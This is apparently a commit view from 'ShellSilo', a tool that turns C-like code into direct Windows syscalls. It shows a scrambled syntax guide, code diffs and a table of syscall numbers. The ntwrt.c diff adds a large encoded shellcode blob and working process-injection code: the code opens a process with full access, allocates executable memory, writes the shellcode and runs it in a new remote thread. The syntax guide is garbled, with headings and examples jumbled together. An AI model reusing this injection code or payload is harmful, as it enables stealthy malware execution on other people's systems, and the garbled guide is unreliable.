mystring = "Hello world";
++++++++++++++++++++++++++++++++++++++
UNICODE_STRING NtImagePath;
CLIENT_ID clientId = NULL;
🧱 Struct Member Assignment
===========| Structure instance |===========
clientId.UniqueThread = NULL;
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
Example 1:
UNICODE_STRING NtImagePath;
Example 2:
CLIENT_ID clientId = NULL;
++++++++++++++++++++++++++++++++++++++
📞 Function Calls
FunctionName(param1, param2, param3);
FunctionName(
param1,
param2,
param3
);
===========| Struct member assignment |===========
Example:
NtAllocateVirtualMemory(hProcess, &BaseAddress, ZeroBits, &RegionSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Example 1:
clientId.UniqueThread = NULL;
Example 2:
ObjectAttributes.Length = 23;
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
++++++++++++++++++++++++++++++++++++++
📥 Returned Structures
===========| Function call |===========
<function_name>(param1, param2, param3);
<function_name(param1,
param2,
param3);
Example 1:
NtAllocateVirtualMemory(hProcess, &BaseAddress, ZeroBits, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Example 2:
NtAllocateVirtualMemory(hProcess,
&BaseAddress,
ZeroBits,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
)
++++++++++++++++++++++++++++++++++++++
===========| Returned structure from a function call |===========
;; Same as a normal structure, but with the word "hidden" added before.
Example 1;
hidden struct _SYSTEM_PROCESS_INFORMATION {
line 1;
line 2;
line 3;
} SYSTEM_PROCESS_INFORMATION;
type member1;
type member2;
};
Use hidden struct for returned structures from syscall functions.
===========| Getting value from a returned structure |===========
🔍 Accessing Returned Values
<var> = (<structure_name>)<returned pointer>->struct_member1->nested_member;
var = (STRUCT_NAME)returned_ptr->Member->NestedMember;
Example:
Example 1:
imageName = (SYSTEM_PROCESS_INFORMATION)newBaseAddress->ImageName->Buffer;
;; In the above example, "ImageName" is the variable that will store the value coming from the returned structure
;; "Buffer" is a nested member inside "ImageName"
;; (SYSTEM_PROCESS_INFORMATION) is the structure defined earlier
;; "newBaseAddress" holds the address returned of the returned structure, mostly coming after a function call.
🔠 Unicode String Initialization
++++++++++++++++++++++++++++++++++++++
InitUnicodeStr(<variable>, "string");
Example:
===========| Initializing a unicode string |===========
InitUnicodeStr(processName, "C:\\Windows\\System32\\calc.exe");
InitUnicodeStr(<variable_to_assign>, "<string>")
🧵 String Variable Assignment
Example 1:
InitUnicodeStr(processName, "Chrome.exe");
Example 2:
InitUnicodeStr(processName, "C:\\Windows\System32\calc.exe");
PVOID var = "Hello world!";
++++++++++++++++++++++++++++++++++++++
🔐 Special Constants and Functions
===========| Assigning string variable |===========
✅ Functions
sizeof(...);
Get size of a structure or string.
##### Assigning string variable #######
PVOID <var_name> = "<string>";
🏷 Constants
Example 1:
PVOID buffer = "Hello world!";
MEM_COMMIT
++++++++++++++++++++++++++++++++++++++
MEM_RESERVE
MEM_RELEASE
PAGE_EXECUTE_READWRITE
===========| Special constants and functions |===========
PAGE_READWRITE
<<< Functions >>>
sizeof();
;; The sizeof gets the size of a string from a variable, or direct string, or structure.
Example 1:
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
Example 2:
PVOID buffer = "hello world";
ULONG NumberOfBytesToWrite = sizeof(buffer);
PAGE_READONLY
<<< Constants >>>
PROCESS_ALL_ACCESS
- MEM_COMMIT
- MEM_RESERVE
- MEM_RELEASE
- PAGE_EXECUTE_READWRITE
- PAGE_READWRITE
- PAGE_READONLY
- PROCESS_ALL_ACCESS
- THREAD_ALL_ACCESS
- False
- True
- NTSTATUS
- NULL
THREAD_ALL_ACCESS
++++++++++++++++++++++++++++++++++++++
False, True
NTSTATUS
NULL
🛠️ ShellSilo is evolving — future versions will expand support for more control flow constructs and struct/array operations.
nt.c
+1 -1
View File
@@ -24,7 +24,7 @@ typedef struct _CLIENT_ID {
<MAIN>
{
HANDLE test;
HANDLE processHandle = GetCurrentProcess();
PVOID remoteAddress = NULL;
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
ntwrt.c
+38 -26
View File
@@ -8,31 +8,43 @@ typedef struct _UNICODE_STRING {
} UNICODE_STRING, *PUNICODE_STRING;
hidden struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PUNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
PVOID Reserved2;
ULONG HandleCount;
ULONG SessionId;
PVOID Reserved3;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG Reserved4;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
PVOID Reserved5;
SIZE_T QuotaPagedPoolUsage;
PVOID Reserved6;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved7[6];
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize;
ULONG HardFaultCount;
ULONG NumberOfThreadsHighWatermark;
ULONGLONG CycleTime;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR UniqueProcessKey;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
} SYSTEM_PROCESS_INFORMATION;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
@@ -70,6 +82,7 @@ typedef struct _CLIENT_ID {
DWORD imageName = 0;
DWORD newBaseAddress = 0;
DWORD processId = 0;
PVOID shellcode = "\x49\xb8\xc1\xe6\x42\x14\xe1\x81\x76\x8d\x54\x5e\x66\x81\xe6\x20\xf7\x48\x31\xdb\xdb\xc9\x48\x0f\xae\x06\xb3\x7e\x48\x8b\x7e\x08\x48\xff\xcb\x4c\x31\x44\xdf\x19\x48\x85\xdb\x75\xf3\x89\x6f\xa3\x5c\xd0\x7e\xad\x43\xa7\x67\xa3\x94\x1b\xc9\x79\x23\xc0\xaf\xff\x4f\x61\x00\xcb\x9e\xeb\xd8\x5d\x54\x56\xf9\x3e\x06\x90\xee\x0a\xeb\x2e\xcd\x47\xe1\x3b\xcf\x0a\x91\x1e\xf4\x85\x9f\xc8\x85\xb7\x36\x19\x64\xbd\x64\x33\x01\xbe\x86\x29\xdf\x91\x9f\x4e\xc9\xfd\x4f\x72\xaf\x67\x25\x55\x48\x6f\x61\x6d\xf2\xe2\x94\x49\x2f\x00\xcd\x82\x8e\x25\x06\x68\x2f\x7a\xd5\xbe\x4c\x2d\x02\x7f\x3e\xe1\x45\xec\x40\x1f\x99\x33\x92\x90\x6b\xe4\xa6\x3a\x72\x3f\x5f\x77\x5b\x93\x0a\x30\xd7\x1c\x72\x91\x25\xc1\x50\xf2\xa1\xba\x3a\x2f\x5d\xe3\x28\x05\x0f\x9d\x3e\x55\x45\xd8\xea\x72\x43\xc0\x0b\x2f\x82\x65\x43\x80\xd3\x21\x85\xb9\x6f\x77\x30\x0f\x14\x1a\xff\x8e\x13\x9c\xa4\x3a\x32\x88\x39\x3b\xd0\xf3\x02\x72\x8d\xf0\x12\x46\x0f\x6f\x22\x72\xf7\xc0\x2a\x84\xb2\xbc\x0b\xa0\x19\x06\xa7\x0b\x47\xa1\xf2\xce\x05\x5c\xf8\x1b\xd9\xeb\x51\x13\xd6\x20\x2d\x4d\x54\x8a\x63\x94\x0e\x58\xa2\x4a\xb2\x06\xdf\xbc\xb9\x10\x29\x73\x96\x54\xfb\xbc\xc3\x00\x10\xb1\x9e\x9e\x07\xff\x48\xa5\x7c\xd4\x8c\xc9\x6b\x54\xc1\xba\xe6\xad\x9f\x10\x71\x6a\x05\x70\x7f\xa9\xbd\xcb\xa2\xb8\x6f\x45\x74\xea\x95\xa7\xa2\x48\x0c\x0a\x0d\x1d\x3e\x8e\xa2\x32\x2c\x33\xcf\x06\x43\xe8\x38\x04\xe1\xe1\x58\xfa\x0b\x2a\x8d\xb5\x59\x7f\x09\xac\x43\x5a\x0e\x91\x41\xa6\x0a\x9a\x43\xe0\x8e\xec\x41\xa6\x0a\xda\x46\x5a\x15\xbc\x06\x9a\x12\xb0\x43\xe0\xae\xa4\x41\x1c\x98\x56\x37\x0a\xa0\xf6\x25\x0d\x19\x3b\xc2\x66\x9d\xf5\xc8\xcf\xb5\xa8\x4a\x3a\x94\x7f\x5b\x0d\xd3\xb8\x37\x23\xdd\x24\x6f\xac\x20\xe2\x00\x69\xd3\x71\x7b\x2d\x58\xfa\x80\xeb\x54\xf4\x09\x2d\x10\x7f\xcb\x1f\xbb\xbc\x08\xfd\xd3\xb2\x13\x2f\x57\xb4\x29\x64\x59\x2a\x5b\x88\x8a\xbc\xf6\xe4\x19\x71\x3f\xe3\x94\xf5\xdf\x60\x69\x33\x43\x5a\x1c\xb5\xc8\xe4\x55\x56\x4a\x6a\x1d\xcc\xe9\x58\xa9\xb6\x08\x27\xf8\xfc\x4c\x14\x89\x8f\xd3\x33\x98\x7f\x49\x09\x11\xfb\xdb\x0d\x9d\x7f\x05\x65\x1c\x71\x4b\x77\x95\xf5\xd9\x6c\xd3\xfe\x83\x23\xdd\x24\x48\x75\x19\xa2\x55\x32\x86\xb5\x51\x6c\x01\xbb\x51\x23\x5f\x18\x29\x6c\x0a\x05\xeb\x33\x9d\xad\x53\x65\xd3\xe8\xe2\x20\x23\x0b\xf6\x70\x10\xcb\xd0\x38\x95\x4a\x7e\x44\x36\x93\x65\x0e\xa8\xf4\x48\x7b\x10\x73\xea\x22\x1b\x36\x45\x5a\x7e\xfd\xf4\xbe\x8f\xa7\xe1\x5a\x58\xfa\x0b\x26\xb3\x8e\x60\x41\x34\x9b\x24\x5e\xf2\xc4\x29\x05\x15\x9b\x68\x02\xb2\x80\x66\x5e\x30\xc1\x2b\x22\xb2\x80\x6c\x41\x78\xb7\x6a\x08\xfc\xbb\x5a\x0d\x00\xda\x3a\x5f\x83\xc3\x56\x1f\x71\xda\x4a\x1b\xac\x98\x6c\x7a\x3d\x98\x40\x02\xa8\xdb\x3f\x1d\x6d\xd4\x3a\x45\xed\xc1\x29\x05\x13\xb2\x5f\x26\x90\xd8\x29\x41\x31\x91\x6e\x4b\x9b\x91\x6a\x46\x37\xd3\x2b\x3d\xb9\x86\x7a\x44\x37\x94\x24\x5a\xeb\xda\x3d\x03\x69\xda\x58\x0a\xba\x95\x7b\x44\x77\xcc\x3b\x5e\xf2\xc5\x27\x1c\x6d\xfa\x52\x38\x86\xb9\x38\xed\x15\xcb\xc2\x38\x8f\xbd\xb3\x17\x0e\x83\xac\x6b\xdc\xf4\x09\xd2\x8d\x12\x00\x6b\xdc\xf4\x38\x1d\x76\xca\x25\x5b\xf2\xc5\x3b\x15\x58\xa0\x43\xe2\x1d\xbd\xce\xed\xa3\xda\x0b\x6b\x91\xc5\xc0\x7e\x0b\x90\x08\x38\x95\x4e\x5e\xa4\xc7\x3c\x0b\x6b\xdc\xf4\xf6\xf8\xb0\xd5\x0b\x6b\xdc\xdb\x5e\x48\x1d\x82\x66\x27\xb0\xc4\x38\x59\x1f\x80\x7d\x5c\x97\xcd\x3b\x14\x2b\x9b\x69\x1c\xb3\x92\x62\x48\x68\xac\x5d\x3f\xbb\xc6\x5b\x4e\x0a\x91\x73\x0e\xa8\xb5\x45\x64\x61\xae\x40\x6b\x94\x7d\xc8\x7e\x02\xbb\x53\x26\xed\x3d\x5a\x65\xe0\xfa\x39\xc3\x58\xf4\x09\x2d\x58\xaa\x58\x38\x95\x33\xcb\xc6\x0d\xd4\x30\x94\x09\xbc\x80\xeb\x32\xf0\x54\x23\x55\x05\x63\x32\x02\xa8\x63\xeb\xef\xf4\x09\x64\xd1\x1a\x61\x6f\x9d\xad\x40\x97\x2d\xbc\x95\xed\xdc\xf4\x09\x2d\xa7\x2f\x46\x5a\x1c\xa7\x53\x65\xd1\x0b\x46\x5a\x15\xb9\x38\xe4\x0b\xa9\x42\xac\x1e\xd9\x0f\x35\x23\x05\xde\xee\x1c\x81\x16\x65\x9f\x3b\x83\x78\xdc\xf4\x40\x97\x1c\x0a\x3e\x8b\xdc\xf4\x09\x2d\xa7\x2f\x43\x94\x13\x80\x0b\xc6\xf2\x12\x5e\x6b\xdc\xf4\x5a\x74\x32\xba\x51\x22\x55\x25\xc8\xcf\x48\xb3\xcc\xab\xdc\xe4\x09\x2d\x11\x40\x53\xcf\x8f\x11\x09\x2d\x58\xfa\xf4\xbe\x94\x67\x5a\x7e\x10\x73\xec\x23\x55\x05\x41\xa4\x82\xb3\xcc\xab\xdc\xd4\x09\x2d\x11\x73\xf2\x22\x66\xe6\x9f\xa4\xba\xfa\x0b\x6b\xdc\x0b\xdc\x65\xdb\x3e\x2b\xee\x1c\x80\xbb\x4b\xd3\xfd\x43\x6a\x1f\x71\xc9\x58\x8a\xa2\xc8\x33\xb6\xf4\x50\x64\x9f\x38\xfb\xde\x7e\xa2\xf6\xf8\x7f\xfa\xc3\x20\x9d\x2e\x1c";
while(TRUE){
NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, ZeroBits, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
dwStatus = NtQuerySystemInformation(SystemProcessInformation, BaseAddress, RegionSize, &dwRet);
@@ -104,9 +117,8 @@ typedef struct _CLIENT_ID {
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &ClientId);
BaseAddress = 0;
NtAllocateVirtualMemory(hProcess, &BaseAddress, ZeroBits, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
PVOID buffer = "h";
ULONG NumberOfBytesToWrite = sizeof(buffer);
NtWriteVirtualMemory(hProcess, BaseAddress, buffer, NumberOfBytesToWrite, &NumberOfBytesWritten);
ULONG NumberOfBytesToWrite = sizeof(shellcode);
NtWriteVirtualMemory(hProcess, BaseAddress, shellcode, NumberOfBytesToWrite, &NumberOfBytesWritten);
HANDLE ThreadHandle = NULL;
NtCreateThreadEx(&ThreadHandle, 0x1FFFFF, NULL, hProcess, BaseAddress, NULL, NULL, NULL, NULL, NULL, NULL);
shellsilo.py
+1372 -504
View File
File diff suppressed because it is too large Load Diff
syscallslist.csv
+507
View File
@@ -0,0 +1,507 @@
#,System call,10240,10586,14393,15063,16299,17134,17763,18362,18363,19041,19042,19043,19044,19045,22000,20348,22621,22631,25398,26100,26085
1,NtAcceptConnectPort,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002
2,NtAccessCheck,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000
3,NtAccessCheckAndAuditAlarm,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029,0x0029
4,NtAccessCheckByType,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063,0x0063
5,NtAccessCheckByTypeAndAuditAlarm,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059,0x0059
6,NtAccessCheckByTypeResultList,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064,0x0064
7,NtAccessCheckByTypeResultListAndAuditAlarm,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065,0x0065
8,NtAccessCheckByTypeResultListAndAuditAlarmByHandle,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066,0x0066
9,NtAcquireCMFViewOwnership,,,,,,,,,,,,,,,,,,,,,
10,NtAcquireCrossVmMutant,,,,,,,,,,0x0067,0x0067,0x0067,0x0067,0x0067,0x0067,0x0067,0x0067,0x0067,0x0067,0x0067,0x0067
11,NtAcquireProcessActivityReference,,,,0x0067,0x0067,0x0067,0x0067,0x0067,0x0067,0x0068,0x0068,0x0068,0x0068,0x0068,0x0068,0x0068,0x0068,0x0068,0x0068,0x0068,0x0068
12,NtAddAtom,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047,0x0047
13,NtAddAtomEx,0x0067,0x0067,0x0067,0x0068,0x0068,0x0068,0x0068,0x0068,0x0068,0x0069,0x0069,0x0069,0x0069,0x0069,0x0069,0x0069,0x0069,0x0069,0x0069,0x0069,0x0069
14,NtAddBootEntry,0x0068,0x0068,0x0068,0x0069,0x0069,0x0069,0x0069,0x0069,0x0069,0x006a,0x006a,0x006a,0x006a,0x006a,0x006a,0x006a,0x006a,0x006a,0x006a,0x006a,0x006a
15,NtAddDriverEntry,0x0069,0x0069,0x0069,0x006a,0x006a,0x006a,0x006a,0x006a,0x006a,0x006b,0x006b,0x006b,0x006b,0x006b,0x006b,0x006b,0x006b,0x006b,0x006b,0x006b,0x006b
16,NtAdjustGroupsToken,0x006a,0x006a,0x006a,0x006b,0x006b,0x006b,0x006b,0x006b,0x006b,0x006c,0x006c,0x006c,0x006c,0x006c,0x006c,0x006c,0x006c,0x006c,0x006c,0x006c,0x006c
17,NtAdjustPrivilegesToken,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041,0x0041
18,NtAdjustTokenClaimsAndDeviceGroups,0x006b,0x006b,0x006b,0x006c,0x006c,0x006c,0x006c,0x006c,0x006c,0x006d,0x006d,0x006d,0x006d,0x006d,0x006d,0x006d,0x006d,0x006d,0x006d,0x006d,0x006d
19,NtAlertMultipleThreadByThreadId,,,,,,,,,,,,,,,,,,,,0x006e,0x006e
20,NtAlertResumeThread,0x006c,0x006c,0x006c,0x006d,0x006d,0x006d,0x006d,0x006d,0x006d,0x006e,0x006e,0x006e,0x006e,0x006e,0x006e,0x006e,0x006e,0x006e,0x006e,0x006f,0x006f
21,NtAlertThread,0x006d,0x006d,0x006d,0x006e,0x006e,0x006e,0x006e,0x006e,0x006e,0x006f,0x006f,0x006f,0x006f,0x006f,0x006f,0x006f,0x006f,0x006f,0x006f,0x0070,0x0070
22,NtAlertThreadByThreadId,0x006e,0x006e,0x006e,0x006f,0x006f,0x006f,0x006f,0x006f,0x006f,0x0070,0x0070,0x0070,0x0070,0x0070,0x0070,0x0070,0x0070,0x0070,0x0070,0x0071,0x0071
23,NtAlertThreadByThreadIdEx,,,,,,,,,,,,,,,,,,,0x0071,0x0072,0x0072
24,NtAllocateLocallyUniqueId,0x006f,0x006f,0x006f,0x0070,0x0070,0x0070,0x0070,0x0070,0x0070,0x0071,0x0071,0x0071,0x0071,0x0071,0x0071,0x0071,0x0071,0x0071,0x0072,0x0073,0x0073
25,NtAllocateReserveObject,0x0070,0x0070,0x0070,0x0071,0x0071,0x0071,0x0071,0x0071,0x0071,0x0072,0x0072,0x0072,0x0072,0x0072,0x0072,0x0072,0x0072,0x0072,0x0073,0x0074,0x0074
26,NtAllocateUserPhysicalPages,0x0071,0x0071,0x0071,0x0072,0x0072,0x0072,0x0072,0x0072,0x0072,0x0073,0x0073,0x0073,0x0073,0x0073,0x0073,0x0073,0x0073,0x0073,0x0074,0x0075,0x0075
27,NtAllocateUserPhysicalPagesEx,,,,,,,,,,0x0074,0x0074,0x0074,0x0074,0x0074,0x0074,0x0074,0x0074,0x0074,0x0075,0x0076,0x0076
28,NtAllocateUuids,0x0072,0x0072,0x0072,0x0073,0x0073,0x0073,0x0073,0x0073,0x0073,0x0075,0x0075,0x0075,0x0075,0x0075,0x0075,0x0075,0x0075,0x0075,0x0076,0x0077,0x0077
29,NtAllocateVirtualMemory,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018,0x0018
30,NtAllocateVirtualMemoryEx,,,,,,0x0074,0x0074,0x0074,0x0074,0x0076,0x0076,0x0076,0x0076,0x0076,0x0076,0x0076,0x0076,0x0076,0x0077,0x0078,0x0078
31,NtAlpcAcceptConnectPort,0x0073,0x0073,0x0073,0x0074,0x0074,0x0075,0x0075,0x0075,0x0075,0x0077,0x0077,0x0077,0x0077,0x0077,0x0077,0x0077,0x0077,0x0077,0x0078,0x0079,0x0079
32,NtAlpcCancelMessage,0x0074,0x0074,0x0074,0x0075,0x0075,0x0076,0x0076,0x0076,0x0076,0x0078,0x0078,0x0078,0x0078,0x0078,0x0078,0x0078,0x0078,0x0078,0x0079,0x007a,0x007a
33,NtAlpcConnectPort,0x0075,0x0075,0x0075,0x0076,0x0076,0x0077,0x0077,0x0077,0x0077,0x0079,0x0079,0x0079,0x0079,0x0079,0x0079,0x0079,0x0079,0x0079,0x007a,0x007b,0x007b
34,NtAlpcConnectPortEx,0x0076,0x0076,0x0076,0x0077,0x0077,0x0078,0x0078,0x0078,0x0078,0x007a,0x007a,0x007a,0x007a,0x007a,0x007a,0x007a,0x007a,0x007a,0x007b,0x007c,0x007c
35,NtAlpcCreatePort,0x0077,0x0077,0x0077,0x0078,0x0078,0x0079,0x0079,0x0079,0x0079,0x007b,0x007b,0x007b,0x007b,0x007b,0x007b,0x007b,0x007b,0x007b,0x007c,0x007d,0x007d
36,NtAlpcCreatePortSection,0x0078,0x0078,0x0078,0x0079,0x0079,0x007a,0x007a,0x007a,0x007a,0x007c,0x007c,0x007c,0x007c,0x007c,0x007c,0x007c,0x007c,0x007c,0x007d,0x007e,0x007e
37,NtAlpcCreateResourceReserve,0x0079,0x0079,0x0079,0x007a,0x007a,0x007b,0x007b,0x007b,0x007b,0x007d,0x007d,0x007d,0x007d,0x007d,0x007d,0x007d,0x007d,0x007d,0x007e,0x007f,0x007f
38,NtAlpcCreateSectionView,0x007a,0x007a,0x007a,0x007b,0x007b,0x007c,0x007c,0x007c,0x007c,0x007e,0x007e,0x007e,0x007e,0x007e,0x007e,0x007e,0x007e,0x007e,0x007f,0x0080,0x0080
39,NtAlpcCreateSecurityContext,0x007b,0x007b,0x007b,0x007c,0x007c,0x007d,0x007d,0x007d,0x007d,0x007f,0x007f,0x007f,0x007f,0x007f,0x007f,0x007f,0x007f,0x007f,0x0080,0x0081,0x0081
40,NtAlpcDeletePortSection,0x007c,0x007c,0x007c,0x007d,0x007d,0x007e,0x007e,0x007e,0x007e,0x0080,0x0080,0x0080,0x0080,0x0080,0x0080,0x0080,0x0080,0x0080,0x0081,0x0082,0x0082
41,NtAlpcDeleteResourceReserve,0x007d,0x007d,0x007d,0x007e,0x007e,0x007f,0x007f,0x007f,0x007f,0x0081,0x0081,0x0081,0x0081,0x0081,0x0081,0x0081,0x0081,0x0081,0x0082,0x0083,0x0083
42,NtAlpcDeleteSectionView,0x007e,0x007e,0x007e,0x007f,0x007f,0x0080,0x0080,0x0080,0x0080,0x0082,0x0082,0x0082,0x0082,0x0082,0x0082,0x0082,0x0082,0x0082,0x0083,0x0084,0x0084
43,NtAlpcDeleteSecurityContext,0x007f,0x007f,0x007f,0x0080,0x0080,0x0081,0x0081,0x0081,0x0081,0x0083,0x0083,0x0083,0x0083,0x0083,0x0083,0x0083,0x0083,0x0083,0x0084,0x0085,0x0085
44,NtAlpcDisconnectPort,0x0080,0x0080,0x0080,0x0081,0x0081,0x0082,0x0082,0x0082,0x0082,0x0084,0x0084,0x0084,0x0084,0x0084,0x0084,0x0084,0x0084,0x0084,0x0085,0x0086,0x0086
45,NtAlpcImpersonateClientContainerOfPort,0x0081,0x0081,0x0081,0x0082,0x0082,0x0083,0x0083,0x0083,0x0083,0x0085,0x0085,0x0085,0x0085,0x0085,0x0085,0x0085,0x0085,0x0085,0x0086,0x0087,0x0087
46,NtAlpcImpersonateClientOfPort,0x0082,0x0082,0x0082,0x0083,0x0083,0x0084,0x0084,0x0084,0x0084,0x0086,0x0086,0x0086,0x0086,0x0086,0x0086,0x0086,0x0086,0x0086,0x0087,0x0088,0x0088
47,NtAlpcOpenSenderProcess,0x0083,0x0083,0x0083,0x0084,0x0084,0x0085,0x0085,0x0085,0x0085,0x0087,0x0087,0x0087,0x0087,0x0087,0x0087,0x0087,0x0087,0x0087,0x0088,0x0089,0x0089
48,NtAlpcOpenSenderThread,0x0084,0x0084,0x0084,0x0085,0x0085,0x0086,0x0086,0x0086,0x0086,0x0088,0x0088,0x0088,0x0088,0x0088,0x0088,0x0088,0x0088,0x0088,0x0089,0x008a,0x008a
49,NtAlpcQueryInformation,0x0085,0x0085,0x0085,0x0086,0x0086,0x0087,0x0087,0x0087,0x0087,0x0089,0x0089,0x0089,0x0089,0x0089,0x0089,0x0089,0x0089,0x0089,0x008a,0x008b,0x008b
50,NtAlpcQueryInformationMessage,0x0086,0x0086,0x0086,0x0087,0x0087,0x0088,0x0088,0x0088,0x0088,0x008a,0x008a,0x008a,0x008a,0x008a,0x008a,0x008a,0x008a,0x008a,0x008b,0x008c,0x008c
51,NtAlpcRevokeSecurityContext,0x0087,0x0087,0x0087,0x0088,0x0088,0x0089,0x0089,0x0089,0x0089,0x008b,0x008b,0x008b,0x008b,0x008b,0x008b,0x008b,0x008b,0x008b,0x008c,0x008d,0x008d
52,NtAlpcSendWaitReceivePort,0x0088,0x0088,0x0088,0x0089,0x0089,0x008a,0x008a,0x008a,0x008a,0x008c,0x008c,0x008c,0x008c,0x008c,0x008c,0x008c,0x008c,0x008c,0x008d,0x008e,0x008e
53,NtAlpcSetInformation,0x0089,0x0089,0x0089,0x008a,0x008a,0x008b,0x008b,0x008b,0x008b,0x008d,0x008d,0x008d,0x008d,0x008d,0x008d,0x008d,0x008d,0x008d,0x008e,0x008f,0x008f
54,NtApphelpCacheControl,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c,0x004c
55,NtAreMappedFilesTheSame,0x008a,0x008a,0x008a,0x008b,0x008b,0x008c,0x008c,0x008c,0x008c,0x008e,0x008e,0x008e,0x008e,0x008e,0x008e,0x008e,0x008e,0x008e,0x008f,0x0090,0x0090
56,NtAssignProcessToJobObject,0x008b,0x008b,0x008b,0x008c,0x008c,0x008d,0x008d,0x008d,0x008d,0x008f,0x008f,0x008f,0x008f,0x008f,0x008f,0x008f,0x008f,0x008f,0x0090,0x0091,0x0091
57,NtAssociateWaitCompletionPacket,0x008c,0x008c,0x008c,0x008d,0x008d,0x008e,0x008e,0x008e,0x008e,0x0090,0x0090,0x0090,0x0090,0x0090,0x0090,0x0090,0x0090,0x0090,0x0091,0x0092,0x0092
58,NtCallEnclave,,,,,0x008e,0x008f,0x008f,0x008f,0x008f,0x0091,0x0091,0x0091,0x0091,0x0091,0x0091,0x0091,0x0091,0x0091,0x0092,0x0093,0x0093
59,NtCallbackReturn,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005,0x0005
60,NtCancelDeviceWakeupRequest,,,,,,,,,,,,,,,,,,,,,
61,NtCancelIoFile,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d,0x005d
62,NtCancelIoFileEx,0x008d,0x008d,0x008d,0x008e,0x008f,0x0090,0x0090,0x0090,0x0090,0x0092,0x0092,0x0092,0x0092,0x0092,0x0092,0x0092,0x0092,0x0092,0x0093,0x0094,0x0094
63,NtCancelSynchronousIoFile,0x008e,0x008e,0x008e,0x008f,0x0090,0x0091,0x0091,0x0091,0x0091,0x0093,0x0093,0x0093,0x0093,0x0093,0x0093,0x0093,0x0093,0x0093,0x0094,0x0095,0x0095
